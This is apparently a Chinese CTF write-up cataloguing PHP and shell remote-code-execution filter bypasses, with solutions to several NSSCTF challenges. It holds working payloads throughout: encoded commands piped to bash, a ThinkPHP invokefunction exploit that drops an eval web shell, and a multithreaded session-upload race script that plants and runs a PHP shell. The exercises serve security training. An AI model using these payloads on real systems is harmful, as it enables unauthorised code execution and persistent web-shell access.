Web入门-RCE漏洞绕过常用方法

基础知识

空格过滤

可代替空格的:

1
2
3
4
5
6
7
8
<
<>
%20
%09
$IFS$9
${IFS}
$IFS
{cat,/flag}

反斜杠绕过

1
2
c\at /flag
l\s /

取反绕过

构造脚本

1
2
3
4
5
6
7
<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n","\r","\n"),"",fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n","\r","\n"),"",fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
?>

异或绕过

常用脚本:

1
2
3
4
5
6
7
8
<?php
$a='phpinfo';
for($i=0;$i<strlen($a);$i++)
echo '%'.dechex(ord($a[$i])^0xff);
echo "^";
for($j=0;$j<strlen($a);$j++)
echo '%ff';
?>

如果结果被过滤就用这个,设置可用字符即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
valid="1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
answer=input()
tmp1,tmp2='',''
for c in answer:
for i in valid:
for j in valid:
if ord(i)^ord(j)==ord(c):
tmp1+=i
tmp2+=j
break
else:
continue
break
print(f'"{tmp1}"^"{tmp2}"')

自增绕过

例如引发phpinfo的payload如下,其中变量“_”可逃脱过滤,直接传入:

1
$=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();

黑名单绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//变量拼接
b=ag;cat /fl$b

//读根目录
eval(var_dump(scandir('/'););
//读flag
eval(var_dump(file_get_contents($_POST['a'])););&a=/flag

//打开ls扩展下文件
cat `ls`

//下划线被过滤 php<8时 变量名中第一个非法字符[被替换为下划线
N[S.S即为N_S.S
e[v.a.l即为e_v.a.l

//标签绕过
?><?= phpinfo(); ?>

//参数逃逸
?1=passthru(‘cat /f*’);&code=eval(pos(pos(get_defined_vars())));
//内联执行
print_r(`l\s /;ca''t /ffffffffffla''gafag`);

编码绕过

1
2
3
4
5
6
7
//Base64绕过
`echo Y2F0IC9mbGFn | base64 -d`
echo Y2F0IC9mbGFn | base64 -d | bash
$(echo Y2F0IC9mbGFn | base64 -d)

//Hex绕过
echo '636174202f666c6167' | xxd -r -p | bash

正则匹配绕过

1
2
3
cat /f???
cat /fl*
cat /f[a-z]{3}

引号绕过

1
2
ca""t /flag
l's' /

cat替换命令

1
2
more less cat tac head tail vi vim nl od sort uniq xxd grep
file -f

回溯绕过

php正则回溯次数大于10000000次时返回False。

1
2
$a='hello world'+'h'*1000000
preg_match("/hello.*world/is",$a)==False

无回显

1
2
3
4
5
6
//无回显RCE
ls / | tee 1.txt
cat /flag | tee 2.txt

//eval()无输出
eval(print`c\at /flag`;)

做题

[SWPUCTF 2021 新生赛]hardrce

利用以下脚本生成函数为system、参数为ls /的payload:

1
2
3
4
5
6
7
<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n","\r","\n"),"",fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n","\r","\n"),"",fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
?>

找到flag位置,尝试访问:

1
http://node5.anna.nssctf.cn:28234/?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

exp:

1
2
3
import requests
response=requests.get('http://node5.anna.nssctf.cn:28254/?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);')
print(response.text[-45:])

[GXYCTF 2019]Ping Ping Ping

$IFS字符拼接绕过。

1
http://node4.anna.nssctf.cn:28030/?ip=127.0.0.1;q=g;cat$IFS$9fla$q.php

“$IFS”为Linux系统默认分隔符,可替代空格。$1~$9代表参数,这里为空,可以将IFS与后面字符串分割,防止识别为一个变量名。绕过“flag”则重新定义变量绕过。

1
2
3
4
5
import requests,time
payload1='http://node4.anna.nssctf.cn:28030/?ip=127.0.0.1;q=g;cat$IFS$9fla$q.php'
response1=requests.get(payload1)
time.sleep(4)
print(response1.text[-63:-19])

[SWPUCTF 2021 新生赛]babyrce

1
2
3
import requests
response1=requests.get(r'http://node5.anna.nssctf.cn:28769/rasalghul.php?url=cat${IFS}/flllllaaaaaaggggggg')
print(response1.text[-45:])

[SWPUCTF 2021 新生赛]finalrce

PHP中exec函数无回显,重定向符“>”被ban,选择写入文件后访问:

1
http://node4.anna.nssctf.cn:28483/?url=l''s / | tee 1.txt

将flag写入文件,cat被ban,可用tac或nl替代:

1
http://node4.anna.nssctf.cn:28483/?url=ca''t /flllll\aaaaaaggggggg | tee 2.txt

[鹤城杯 2021]EasyP

$_SERVER['PHP_SELF']返回正在执行脚本的文件名,例如127.0.0.1/pikachu/index.php?file=1.php显示/pikachu/index.php。

$_SERVER['REQUEST_URI']比上面多了参数,显示/pikachu/index.php?1.php。

basename()返回路径中文件名部分,当遇到非ASCII字符时直接跳过。

$_SERVER['REQUEST_URI']不进行URL编码扩展。

payload:

1
http://node4.anna.nssctf.cn:28316/index.php/utils.php/%ff?show+source=1

%ff用于绕过$_SERVER['PHP_SELF']后在basename()处被去掉,并在下面的highlight_file处读取utils.php。+可被解析为_,也可以将s换为%73。

[UUCTF 2022 新生赛]ez_rce

payload很多:

1
2
3
var_dump(`nl /f????????????????`);
?1=passthru(‘cat /f*’);&code=eval(pos(pos(get_defined_vars())));
print_r(`l\s /;ca''t /ffffffffffla''gafag`);

[HCTF 2018]Warmup

1
http://node4.anna.nssctf.cn:28689/index.php?file=hint.php?../../../../../ffffllllaaaagggg

include传参会自适应。

[SWPUCTF 2022 新生赛]ez_rce

看出是ThinkPHP,从网上找PoC:

1
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php eval($_POST['a'])?>

这个payload在NSS路由下写入shell.php一句话木马,密码a,Antsword连。

[鹤城杯 2021]Middle magic

preg_replace的第一个参数会匹配整个字符串,因为有起始和终止锚点。但是%0A和%23是通配符“.”的例外,所以preg_replace无法替换该字符串。preg_match匹配字串,所以可通过。

GET:

1
http://node4.anna.nssctf.cn:28949/?aaa=%0apass_the_level_1%23

POST:

1
admin[]=1&root_pwd[]=2&level_3={"result":"aaa"}

[SWPUCTF 2022 新生赛]numgame

使用call_user_func函数执行nss2类中的ctf函数:

POST:

1
p=nss2::ctf

[NISACTF 2022]middlerce

PCRE回溯次数限制绕过。

当正则匹配的次数高于100w次后直接通过。

PHP中有short_tage特性,<??>相当于<?php?><?=?>相当于<?php echo?>,反引号相当于system函数。

1
2
3
4
import requests
payload='{"cmd":"?><?= `tail /f*`?>","test":"'+"@"*(1000000)+'"}'
res=requests.post("http://node4.anna.nssctf.cn:28023/",data={"letter":payload})
print(res.text)

[第五空间 2021]EasyCleanup

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}


if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}


function filter($var){
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}

return False;
}

function checkNums($var){
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>

做法1:

取反绕过:

1
2
3
4
5
<?php
$s='nl /*';
echo '~'.urlencode(~$s);
//~%91%93%DF%D0%D5
?>

Payload:

1
http://node4.anna.nssctf.cn:28913/?mode=eval&shell=system(~%91%93%DF%D0%D5);

做法2:session.upload_progress文件包含进行条件竞争。先查看phpinfo确保session.upload_progress.enable字段为俩On。这里直接放脚本了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import io,threading,requests
url = "http://node4.anna.nssctf.cn:28913/"
sess_id = "1"
file_name = '1.txt'
file_data = io.BytesIO(b'a' * 1024 * 50)
def write(session):
while True:
session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'},cookies={'PHPSESSID': sess_id}, files={'file': (file_name, file_data)})
def read(session):
while True:
res = session.post(f"{url}?mode=foo&file=/tmp/sess_{sess_id}&cmd=system('nl /*');")
if file_name in res.text:
print(res.text)
break
else:
print("Retry")
if __name__ == "__main__":
evnet = threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write, args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
evnet.set()